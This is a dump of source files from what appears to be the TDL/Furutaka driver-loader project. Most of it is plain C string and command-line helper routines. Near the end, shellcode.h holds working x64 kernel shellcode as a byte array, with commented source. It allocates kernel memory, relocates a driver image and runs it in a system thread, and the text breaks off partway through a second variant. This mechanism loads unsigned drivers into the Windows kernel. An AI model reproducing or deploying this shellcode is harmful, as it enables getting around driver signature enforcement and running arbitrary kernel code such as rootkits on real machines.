| { 5 | char c1, c2; 6 | 7 | if ( s1==s2 ) 8 | return 0; 9 | 10 | if ( s1==0 ) 11 | return -1; 12 | 13 | if ( s2==0 ) 14 | return 1; 15 | 16 | if ( cchars==0 ) 17 | return 0; 18 | 19 | do { 20 | c1 = locase_a(*s1); 21 | c2 = locase_a(*s2); 22 | s1++; 23 | s2++; 24 | cchars--; 25 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) ); 26 | 27 | return (int)(c1 - c2); 28 | } 29 | 30 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars) 31 | { 32 | wchar_t c1, c2; 33 | 34 | if ( s1==s2 ) 35 | return 0; 36 | 37 | if ( s1==0 ) 38 | return -1; 39 | 40 | if ( s2==0 ) 41 | return 1; 42 | 43 | if ( cchars==0 ) 44 | return 0; 45 | 46 | do { 47 | c1 = locase_w(*s1); 48 | c2 = locase_w(*s2); 49 | s1++; 50 | s2++; 51 | cchars--; 52 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) ); 53 | 54 | return (int)(c1 - c2); 55 | } 56 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/cmdline.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | BOOL GetCommandLineParamW( 4 | IN LPCWSTR CmdLine, 5 | IN ULONG ParamIndex, 6 | OUT LPWSTR Buffer, 7 | IN ULONG BufferSize, 8 | OUT PULONG ParamLen 9 | ) 10 | { 11 | ULONG c, plen = 0; 12 | TCHAR divider; 13 | 14 | if (ParamLen != NULL) 15 | *ParamLen = 0; 16 | 17 | if (CmdLine == NULL) { 18 | if ((Buffer != NULL) && (BufferSize > 0)) 19 | *Buffer = 0; 20 | return FALSE; 21 | } 22 | 23 | for (c = 0; c <= ParamIndex; c++) { 24 | plen = 0; 25 | 26 | while (*CmdLine == ' ') 27 | CmdLine++; 28 | 29 | switch (*CmdLine) { 30 | case 0: 31 | goto zero_term_exit; 32 | 33 | case '"': 34 | CmdLine++; 35 | divider = '"'; 36 | break; 37 | 38 | default: 39 | divider = ' '; 40 | } 41 | 42 | while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) { 43 | plen++; 44 | if (c == ParamIndex) 45 | if ((plen < BufferSize) && (Buffer != NULL)) { 46 | *Buffer = *CmdLine; 47 | Buffer++; 48 | } 49 | CmdLine++; 50 | } 51 | 52 | if (*CmdLine != 0) 53 | CmdLine++; 54 | } 55 | 56 | zero_term_exit: 57 | 58 | if ((Buffer != NULL) && (BufferSize > 0)) 59 | *Buffer = 0; 60 | 61 | if (ParamLen != NULL) 62 | *ParamLen = plen; 63 | 64 | if (plen < BufferSize) 65 | return TRUE; 66 | else 67 | return FALSE; 68 | } 69 | 70 | BOOL GetCommandLineParamA( 71 | IN LPCSTR CmdLine, 72 | IN ULONG ParamIndex, 73 | OUT LPSTR Buffer, 74 | IN ULONG BufferSize, 75 | OUT PULONG ParamLen 76 | ) 77 | { 78 | ULONG c, plen = 0; 79 | TCHAR divider; 80 | 81 | if (CmdLine == NULL) 82 | return FALSE; 83 | 84 | if (ParamLen != NULL) 85 | *ParamLen = 0; 86 | 87 | for (c = 0; c <= ParamIndex; c++) { 88 | plen = 0; 89 | 90 | while (*CmdLine == ' ') 91 | CmdLine++; 92 | 93 | switch (*CmdLine) { 94 | case 0: 95 | goto zero_term_exit; 96 | 97 | case '"': 98 | CmdLine++; 99 | divider = '"'; 100 | break; 101 | 102 | default: 103 | divider = ' '; 104 | } 105 | 106 | while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) { 107 | plen++; 108 | if (c == ParamIndex) 109 | if ((plen < BufferSize) && (Buffer != NULL)) { 110 | *Buffer = *CmdLine; 111 | Buffer++; 112 | } 113 | CmdLine++; 114 | } 115 | 116 | if (*CmdLine != 0) 117 | CmdLine++; 118 | } 119 | 120 | zero_term_exit: 121 | 122 | if ((Buffer != NULL) && (BufferSize > 0)) 123 | *Buffer = 0; 124 | 125 | if (ParamLen != NULL) 126 | *ParamLen = plen; 127 | 128 | if (plen < BufferSize) 129 | return TRUE; 130 | else 131 | return FALSE; 132 | } 133 | 134 | char *ExtractFilePathA(const char *FileName, char *FilePath) 135 | { 136 | char *p = (char *)FileName, *p0 = (char *)FileName; 137 | 138 | if ((FileName == 0) || (FilePath == 0)) 139 | return 0; 140 | 141 | while (*FileName != 0) { 142 | if (*FileName == '\\') 143 | p = (char *)FileName + 1; 144 | FileName++; 145 | } 146 | 147 | while (p0 < p) { 148 | *FilePath = *p0; 149 | FilePath++; 150 | p0++; 151 | } 152 | 153 | *FilePath = 0; 154 | 155 | return FilePath; 156 | } 157 | 158 | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath) 159 | { 160 | wchar_t *p = (wchar_t *)FileName, *p0 = (wchar_t *)FileName; 161 | 162 | if ((FileName == 0) || (FilePath == 0)) 163 | return 0; 164 | 165 | while (*FileName != 0) { 166 | if (*FileName == '\\') 167 | p = (wchar_t *)FileName + 1; 168 | FileName++; 169 | } 170 | 171 | while (p0 < p) { 172 | *FilePath = *p0; 173 | FilePath++; 174 | p0++; 175 | } 176 | 177 | *FilePath = 0; 178 | 179 | return FilePath; 180 | } 181 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/cmdline.h: -------------------------------------------------------------------------------- 1 | #ifndef _CMDLINEH_ 2 | #define _CMDLINEH_ 3 | 4 | BOOL GetCommandLineParamW( 5 | IN LPCWSTR CmdLine, 6 | IN ULONG ParamIndex, 7 | OUT LPWSTR Buffer, 8 | IN ULONG BufferSize, 9 | OUT PULONG ParamLen 10 | ); 11 | 12 | BOOL GetCommandLineParamA( 13 | IN LPCSTR CmdLine, 14 | IN ULONG ParamIndex, 15 | OUT LPSTR Buffer, 16 | IN ULONG BufferSize, 17 | OUT PULONG ParamLen 18 | ); 19 | 20 | char *ExtractFilePathA(const char *FileName, char *FilePath); 21 | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath); 22 | 23 | #ifdef UNICODE 24 | 25 | #define ExtractFilePath ExtractFilePathW 26 | #define GetCommandLineParam GetCommandLineParamW 27 | 28 | #else // ANSI 29 | 30 | #define ExtractFilePath ExtractFilePathA 31 | #define GetCommandLineParam GetCommandLineParamA 32 | 33 | #endif 34 | 35 | #endif /* _CMDLINEH_ */ 36 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/minirtl.h: -------------------------------------------------------------------------------- 1 | /* 2 | Module name: 3 | minirtl.h 4 | 5 | Description: 6 | header for string handling and conversion routines 7 | 8 | Date: 9 | 1 Mar 2015 10 | */ 11 | 12 | #ifndef _MINIRTL_ 13 | #define _MINIRTL_ 14 | 15 | // string copy/concat/length 16 | 17 | char *_strend_a(const char *s); 18 | wchar_t *_strend_w(const wchar_t *s); 19 | 20 | char *_strcpy_a(char *dest, const char *src); 21 | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src); 22 | 23 | char *_strcat_a(char *dest, const char *src); 24 | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src); 25 | 26 | char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc); 27 | wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc); 28 | 29 | size_t _strlen_a(const char *s); 30 | size_t _strlen_w(const wchar_t *s); 31 | 32 | // comparing 33 | 34 | int _strcmp_a(const char *s1, const char *s2); 35 | int _strcmp_w(const wchar_t *s1, const wchar_t *s2); 36 | 37 | int _strncmp_a(const char *s1, const char *s2, size_t cchars); 38 | int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars); 39 | 40 | int _strcmpi_a(const char *s1, const char *s2); 41 | int _strcmpi_w(const wchar_t *s1, const wchar_t *s2); 42 | 43 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars); 44 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars); 45 | 46 | char *_strstr_a(const char *s, const char *sub_s); 47 | wchar_t *_strstr_w(const wchar_t *s, const wchar_t *sub_s); 48 | 49 | char *_strstri_a(const char *s, const char *sub_s); 50 | wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s); 51 | 52 | // conversion of integer types to string, returning string length 53 | 54 | size_t ultostr_a(unsigned long x, char *s); 55 | size_t ultostr_w(unsigned long x, wchar_t *s); 56 | 57 | size_t ultohex_a(unsigned long x, char *s); 58 | size_t ultohex_w(unsigned long x, wchar_t *s); 59 | 60 | size_t itostr_a(int x, char *s); 61 | size_t itostr_w(int x, wchar_t *s); 62 | 63 | size_t i64tostr_a(signed long long x, char *s); 64 | size_t i64tostr_w(signed long long x, wchar_t *s); 65 | 66 | size_t u64tostr_a(unsigned long long x, char *s); 67 | size_t u64tostr_w(unsigned long long x, wchar_t *s); 68 | 69 | size_t u64tohex_a(unsigned long long x, char *s); 70 | size_t u64tohex_w(unsigned long long x, wchar_t *s); 71 | 72 | // string to integers conversion 73 | 74 | unsigned long strtoul_a(char *s); 75 | unsigned long strtoul_w(wchar_t *s); 76 | 77 | unsigned long long strtou64_a(char *s); 78 | unsigned long long strtou64_w(wchar_t *s); 79 | 80 | unsigned long hextoul_a(char *s); 81 | unsigned long hextoul_w(wchar_t *s); 82 | 83 | int strtoi_a(char *s); 84 | int strtoi_w(wchar_t *s); 85 | 86 | signed long long strtoi64_a(char *s); 87 | signed long long strtoi64_w(wchar_t *s); 88 | 89 | unsigned long long hextou64_a(char *s); 90 | unsigned long long hextou64_w(wchar_t *s); 91 | 92 | /* =================================== */ 93 | 94 | #ifdef UNICODE 95 | 96 | #define _strend _strend_w 97 | #define _strcpy _strcpy_w 98 | #define _strcat _strcat_w 99 | #define _strlen _strlen_w 100 | #define _strncpy _strncpy_w 101 | 102 | #define _strcmp _strcmp_w 103 | #define _strncmp _strncmp_w 104 | #define _strcmpi _strcmpi_w 105 | #define _strncmpi _strncmpi_w 106 | #define _strstr _strstr_w 107 | #define _strstri _strstri_w 108 | 109 | #define ultostr ultostr_w 110 | #define ultohex ultohex_w 111 | #define itostr itostr_w 112 | #define i64tostr i64tostr_w 113 | #define u64tostr u64tostr_w 114 | #define u64tohex u64tohex_w 115 | 116 | #define strtoul strtoul_w 117 | #define hextoul hextoul_w 118 | #define strtoi strtoi_w 119 | #define strtoi64 strtoi64_w 120 | #define strtou64 strtou64_w 121 | #define hextou64 hextou64_w 122 | 123 | #else // ANSI 124 | 125 | #define _strend _strend_a 126 | #define _strcpy _strcpy_a 127 | #define _strcat _strcat_a 128 | #define _strlen _strlen_a 129 | #define _strncpy _strncpy_a 130 | #define _strcmp _strcmp_a 131 | 132 | #define _strcmp _strcmp_a 133 | #define _strncmp _strncmp_a 134 | #define _strcmpi _strcmpi_a 135 | #define _strncmpi _strncmpi_a 136 | #define _strstr _strstr_a 137 | #define _strstri _strstri_a 138 | 139 | #define ultostr ultostr_a 140 | #define ultohex ultohex_a 141 | #define itostr itostr_a 142 | #define i64tostr i64tostr_a 143 | #define u64tostr u64tostr_a 144 | #define u64tohex u64tohex_a 145 | 146 | #define strtoul strtoul_a 147 | #define hextoul hextoul_a 148 | #define strtoi strtoi_a 149 | #define strtoi64 strtoi64_a 150 | #define strtou64 strtou64_a 151 | #define hextou64 hextou64_a 152 | 153 | #endif 154 | 155 | #endif /* _MINIRTL_ */ 156 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/rtltypes.h: -------------------------------------------------------------------------------- 1 | #ifndef _WCHAR_T_DEFINED 2 | typedef unsigned short wchar_t; 3 | #define _WCHAR_T_DEFINED 4 | #endif /* _WCHAR_T_DEFINED */ 5 | 6 | #ifndef _SIZE_T_DEFINED 7 | #ifdef _WIN64 8 | typedef unsigned __int64 size_t; 9 | #else /* _WIN64 */ 10 | typedef __w64 unsigned int size_t; 11 | #endif /* _WIN64 */ 12 | #define _SIZE_T_DEFINED 13 | #endif /* _SIZE_T_DEFINED */ 14 | 15 | __forceinline char locase_a(char c) 16 | { 17 | if ((c >= 'A') && (c <= 'Z')) 18 | return c + 0x20; 19 | else 20 | return c; 21 | } 22 | 23 | __forceinline wchar_t locase_w(wchar_t c) 24 | { 25 | if ((c >= 'A') && (c <= 'Z')) 26 | return c + 0x20; 27 | else 28 | return c; 29 | } 30 | 31 | __forceinline char byteabs(char x) { 32 | if (x < 0) 33 | return -x; 34 | return x; 35 | } 36 | 37 | __forceinline int _isdigit_a(char x) { 38 | return ((x >= '0') && (x <= '9')); 39 | } 40 | 41 | __forceinline int _isdigit_w(wchar_t x) { 42 | return ((x >= L'0') && (x <= L'9')); 43 | } 44 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/u64tohex.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t u64tohex_a(unsigned long long x, char *s) 4 | { 5 | char p; 6 | size_t c; 7 | 8 | if (s==0) 9 | return 16; 10 | 11 | for (c=0; c<16; c++) { 12 | p = (char)(x & 0xf); 13 | x >>= 4; 14 | 15 | if (p<10) 16 | p += '0'; 17 | else 18 | p = 'A' + (p-10); 19 | 20 | s[15-c] = p; 21 | } 22 | 23 | s[16] = 0; 24 | return 16; 25 | } 26 | 27 | size_t u64tohex_w(unsigned long long x, wchar_t *s) 28 | { 29 | wchar_t p; 30 | size_t c; 31 | 32 | if (s==0) 33 | return 16; 34 | 35 | for (c = 0; c<16; c++) { 36 | p = (wchar_t)(x & 0xf); 37 | x >>= 4; 38 | 39 | if (p<10) 40 | p += L'0'; 41 | else 42 | p = L'A' + (p-10); 43 | 44 | s[15-c] = p; 45 | } 46 | 47 | s[16] = 0; 48 | return 16; 49 | } 50 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/u64tostr.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t u64tostr_a(unsigned long long x, char *s) 4 | { 5 | unsigned long long t = x; 6 | size_t i, r=1; 7 | 8 | while ( t >= 10 ) { 9 | t /= 10; 10 | r++; 11 | } 12 | 13 | if (s == 0) 14 | return r; 15 | 16 | for (i = r; i != 0; i--) { 17 | s[i-1] = (char)(x % 10) + '0'; 18 | x /= 10; 19 | } 20 | 21 | s[r] = (char)0; 22 | return r; 23 | } 24 | 25 | size_t u64tostr_w(unsigned long long x, wchar_t *s) 26 | { 27 | unsigned long long t = x; 28 | size_t i, r=1; 29 | 30 | while ( t >= 10 ) { 31 | t /= 10; 32 | r++; 33 | } 34 | 35 | if (s == 0) 36 | return r; 37 | 38 | for (i = r; i != 0; i--) { 39 | s[i-1] = (wchar_t)(x % 10) + L'0'; 40 | x /= 10; 41 | } 42 | 43 | s[r] = (wchar_t)0; 44 | return r; 45 | } 46 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/ultohex.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t ultohex_a(unsigned long x, char *s) 4 | { 5 | char p; 6 | size_t c; 7 | 8 | if (s==0) 9 | return 8; 10 | 11 | for (c=0; c<8; c++) { 12 | p = (char)(x & 0xf); 13 | x >>= 4; 14 | 15 | if (p<10) 16 | p += '0'; 17 | else 18 | p = 'A' + (p-10); 19 | 20 | s[7-c] = p; 21 | } 22 | 23 | s[8] = 0; 24 | return 8; 25 | } 26 | 27 | size_t ultohex_w(unsigned long x, wchar_t *s) 28 | { 29 | wchar_t p; 30 | size_t c; 31 | 32 | if (s==0) 33 | return 8; 34 | 35 | for (c=0; c<8; c++) { 36 | p = (wchar_t)(x & 0xf); 37 | x >>= 4; 38 | 39 | if (p<10) 40 | p += L'0'; 41 | else 42 | p = L'A' + (p-10); 43 | 44 | s[7-c] = p; 45 | } 46 | 47 | s[8] = 0; 48 | return 8; 49 | } 50 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/ultostr.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t ultostr_a(unsigned long x, char *s) 4 | { 5 | unsigned long t=x; 6 | size_t i, r=1; 7 | 8 | while ( t >= 10 ) { 9 | t /= 10; 10 | r++; 11 | } 12 | 13 | if (s == 0) 14 | return r; 15 | 16 | for (i = r; i != 0; i--) { 17 | s[i-1] = (char)(x % 10) + '0'; 18 | x /= 10; 19 | } 20 | 21 | s[r] = (char)0; 22 | return r; 23 | } 24 | 25 | size_t ultostr_w(unsigned long x, wchar_t *s) 26 | { 27 | unsigned long t=x; 28 | size_t i, r=1; 29 | 30 | while ( t >= 10 ) { 31 | t /= 10; 32 | r++; 33 | } 34 | 35 | if (s == 0) 36 | return r; 37 | 38 | for (i = r; i != 0; i--) { 39 | s[i-1] = (wchar_t)(x % 10) + L'0'; 40 | x /= 10; 41 | } 42 | 43 | s[r] = (wchar_t)0; 44 | return r; 45 | } 46 | -------------------------------------------------------------------------------- /Source/Furutaka/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Source/Furutaka/resource.h -------------------------------------------------------------------------------- /Source/Furutaka/resource.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Source/Furutaka/resource.rc -------------------------------------------------------------------------------- /Source/Furutaka/shellcode.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017 4 | * 5 | * TITLE: SHELLCODE.H 6 | * 7 | * VERSION: 1.11 8 | * 9 | * DATE: 20 Apr 2017 10 | * 11 | * Loader bootstrap shellcode. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | typedef PVOID(NTAPI *PfnExAllocatePoolWithTag)( 23 | _In_ POOL_TYPE PoolType, 24 | _In_ SIZE_T NumberOfBytes, 25 | _In_ ULONG Tag); 26 | 27 | typedef NTSTATUS(NTAPI *PfnPsCreateSystemThread)( 28 | _Out_ PHANDLE ThreadHandle, 29 | _In_ ULONG DesiredAccess, 30 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 31 | _In_opt_ HANDLE ProcessHandle, 32 | _Out_opt_ PCLIENT_ID ClientId, 33 | _In_ PKSTART_ROUTINE StartRoutine, 34 | _In_opt_ PVOID StartContext); 35 | 36 | typedef NTSTATUS (NTAPI *PfnZwClose)( 37 | _In_ HANDLE Handle); 38 | 39 | typedef NTSTATUS(NTAPI *PfnDriverEntry)(); 40 | 41 | #define MAX_SHELLCODE_LENGTH 0x300 42 | 43 | /* 44 | * TDLBootstrapLoader 45 | * 46 | * Purpose: 47 | * 48 | * Main part of shellcode used to execute driver code. 49 | * 50 | */ 51 | /* 52 | void TDLBootstrapLoader( 53 | PfnExAllocatePoolWithTag ExAllocatePoolWithTag, 54 | PfnPsCreateSystemThread PsCreateSystemThread, 55 | PfnZwClose ZwClose) 56 | { 57 | ULONG_PTR pos, exbuffer, 58 | Image = ((ULONG_PTR)&TDLBootstrapLoader) + MAX_SHELLCODE_LENGTH; 59 | 60 | PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image; 61 | PIMAGE_FILE_HEADER fileh = 62 | (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew); 63 | 64 | PIMAGE_OPTIONAL_HEADER popth = 65 | (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER)); 66 | 67 | ULONG isz = popth->SizeOfImage; 68 | HANDLE th; 69 | 70 | PIMAGE_BASE_RELOCATION rel; 71 | DWORD_PTR delta; 72 | LPWORD chains; 73 | DWORD c, p, rsz; 74 | 75 | OBJECT_ATTRIBUTES attr; 76 | 77 | exbuffer = (ULONG_PTR)ExAllocatePoolWithTag( 78 | NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE; 79 | exbuffer &= ~(PAGE_SIZE - 1); 80 | 81 | if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) 82 | if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) 83 | { 84 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image + 85 | popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 86 | 87 | rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; 88 | delta = (DWORD_PTR)exbuffer - popth->ImageBase; 89 | c = 0; 90 | 91 | while (c < rsz) { 92 | p = sizeof(IMAGE_BASE_RELOCATION); 93 | chains = (LPWORD)((PBYTE)rel + p); 94 | 95 | while (p < rel->SizeOfBlock) { 96 | 97 | switch (*chains >> 12) { 98 | case IMAGE_REL_BASED_HIGHLOW: 99 | *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta; 100 | break; 101 | case IMAGE_REL_BASED_DIR64: 102 | *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta; 103 | break; 104 | } 105 | 106 | chains++; 107 | p += sizeof(WORD); 108 | } 109 | 110 | c += rel->SizeOfBlock; 111 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock); 112 | } 113 | } 114 | 115 | isz >>= 3; 116 | for (pos = 0; pos < isz; pos++) 117 | ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos]; 118 | 119 | th = NULL; 120 | InitializeObjectAttributes(&attr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); 121 | if (NT_SUCCESS(PsCreateSystemThread(&th, THREAD_ALL_ACCESS, &attr, NULL, NULL, 122 | (PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL))) 123 | { 124 | ZwClose(th); 125 | } 126 | } 127 | */ 128 | const unsigned char TDLBootstrapLoader_code[480] = { 129 | 0x48, 0x8B, 0xC4, 0x41, 0x54, 0x48, 0x81, 0xEC, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x58, 0x10, 130 | 0x4D, 0x8B, 0xE0, 0x48, 0x89, 0x68, 0x18, 0x48, 0x8D, 0x1D, 0xE2, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 131 | 0x68, 0xE8, 0x48, 0x81, 0xC3, 0x00, 0x03, 0x00, 0x00, 0x4C, 0x89, 0x70, 0xE0, 0x4C, 0x8B, 0xEA, 132 | 0x4C, 0x89, 0x78, 0xD8, 0x4C, 0x8B, 0xC9, 0x33, 0xC9, 0x41, 0xB8, 0x54, 0x64, 0x6C, 0x53, 0x4C, 133 | 0x63, 0x73, 0x3C, 0x4C, 0x03, 0xF3, 0x45, 0x8B, 0x7E, 0x50, 0x41, 0x8D, 0x97, 0x00, 0x10, 0x00, 134 | 0x00, 0x41, 0xFF, 0xD1, 0x45, 0x33, 0xC9, 0x48, 0x8D, 0xA8, 0x00, 0x10, 0x00, 0x00, 0x48, 0x81, 135 | 0xE5, 0x00, 0xF0, 0xFF, 0xFF, 0x41, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x05, 0x0F, 0x86, 0xB0, 136 | 0x00, 0x00, 0x00, 0x41, 0x8B, 0x8E, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84, 0xA1, 0x00, 137 | 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x04, 0x0B, 0x41, 0x8B, 138 | 0xB6, 0xB4, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xDD, 0x4D, 0x2B, 0x5E, 0x30, 0x48, 0x89, 0xBC, 0x24, 139 | 0x88, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xF9, 0x85, 0xF6, 0x74, 0x68, 0x0F, 0x1F, 0x44, 0x00, 0x00, 140 | 0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43, 141 | 0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9, 142 | 0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C, 143 | 0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 144 | 0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48, 145 | 0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x3B, 0xFE, 0x72, 0xA0, 146 | 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xB4, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xBC, 0x24, 0x88, 147 | 0x00, 0x00, 0x00, 0x49, 0x8B, 0xD7, 0x4C, 0x8B, 0x7C, 0x24, 0x70, 0x48, 0xC1, 0xEA, 0x03, 0x48, 148 | 0x85, 0xD2, 0x74, 0x1D, 0x48, 0x8B, 0xCD, 0x48, 0x2B, 0xDD, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 149 | 0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75, 150 | 0xEF, 0x4C, 0x89, 0x4C, 0x24, 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x40, 0x4C, 0x89, 0x8C, 0x24, 0xA0, 151 | 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x4C, 0x24, 0x48, 152 | 0x0F, 0x57, 0xC0, 0x4C, 0x89, 0x4C, 0x24, 0x50, 0xBA, 0xFF, 0xFF, 0x1F, 0x00, 0xF3, 0x0F, 0x7F, 153 | 0x44, 0x24, 0x60, 0xC7, 0x44, 0x24, 0x40, 0x30, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x58, 0x00, 154 | 0x02, 0x00, 0x00, 0x41, 0x8B, 0x46, 0x28, 0x48, 0x03, 0xC5, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 155 | 0x89, 0x4C, 0x24, 0x20, 0x45, 0x33, 0xC9, 0x41, 0xFF, 0xD5, 0x4C, 0x8B, 0x74, 0x24, 0x78, 0x4C, 156 | 0x8B, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xAC, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x48, 157 | 0x8B, 0x9C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x0B, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 158 | 0x00, 0x00, 0x00, 0x41, 0xFF, 0xD4, 0x48, 0x81, 0xC4, 0x90, 0x00, 0x00, 0x00, 0x41, 0x5C, 0xC3 159 | }; 160 | 161 | 162 | /* 163 | * TDLBootstrapLoader_w10rs2 164 | * 165 | * Purpose: 166 | * 167 | * Main part of shellcode used to execute driver code since w10rs2. 168 | * 169 | */ 170 | /* 171 | void TDLBootstrapLoader_w10rs2( 172 | PfnExAllocatePoolWithTag ExAllocatePoolWithTag 173 | ) 174 | { 175 | ULONG_PTR pos, exbuffer, 176 | Image = ((ULONG_PTR)&TDLBootstrapLoader_w10rs2) + MAX_SHELLCODE_LENGTH; 177 | 178 | PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image; 179 | PIMAGE_FILE_HEADER fileh = 180 | (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew); 181 | 182 | PIMAGE_OPTIONAL_HEADER popth = 183 | (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER)); 184 | 185 | PfnDriverEntry DriverEntry; 186 | 187 | ULONG isz = popth->SizeOfImage; 188 | 189 | PIMAGE_BASE_RELOCATION rel; 190 | DWORD_PTR delta; 191 | LPWORD chains; 192 | DWORD c, p, rsz; 193 | 194 | exbuffer = (ULONG_PTR)ExAllocatePoolWithTag( 195 | NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE; 196 | exbuffer &= ~(PAGE_SIZE - 1); 197 | 198 | if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) 199 | if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) 200 | { 201 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image + 202 | popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 203 | 204 | rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; 205 | delta = (DWORD_PTR)exbuffer - popth->ImageBase; 206 | c = 0; 207 | 208 | while (c < rsz) { 209 | p = sizeof(IMAGE_BASE_RELOCATION); 210 | chains = (LPWORD)((PBYTE)rel + p); 211 | 212 | while (p < rel->SizeOfBlock) { 213 | 214 | switch (*chains >> 12) { 215 | case 